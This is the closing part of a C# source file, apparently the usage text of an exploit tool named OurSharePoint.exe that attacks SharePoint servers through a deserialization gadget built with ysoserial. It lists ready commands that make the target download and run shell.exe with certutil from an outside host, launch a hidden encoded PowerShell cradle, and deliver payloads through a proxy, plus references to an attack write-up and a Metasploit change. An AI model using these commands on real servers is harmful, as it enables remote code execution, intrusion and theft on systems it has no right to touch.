  OurSharePoint.exe --cmd=""certutil -urlcache -split -f http://10.0.0.5/shell.exe C:\Windows\Temp\s.exe"" --target=https://sp.corp.com

  # PowerShell cradle
  OurSharePoint.exe --cmd=""powershell -nop -w hidden -enc <base64>"" --target=https://sp.corp.com

  # Build payload files only (offline)
  OurSharePoint.exe --cmd=""whoami > C:\out.txt"" --out=exploit

  # Legacy: use external ysoserial.exe payload
  ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c ""cmd /c calc.exe"" > gadget.b64
  OurSharePoint.exe --in=gadget.b64 --target=https://sp.corp.com

  # Build + deliver via Burp proxy
  OurSharePoint.exe --cmd=""whoami"" --target=https://sp.corp.com --proxy=http://127.0.0.1:8080

  # Check if target is vulnerable (no payload sent)
  OurSharePoint.exe --target=https://sp.corp.com --check

──── References ───────────────────────────────────────────────────
  https://research.eye.security/sharepoint-under-siege/
  https://github.com/rapid7/metasploit-framework/pull/20409/commits
");
    }
}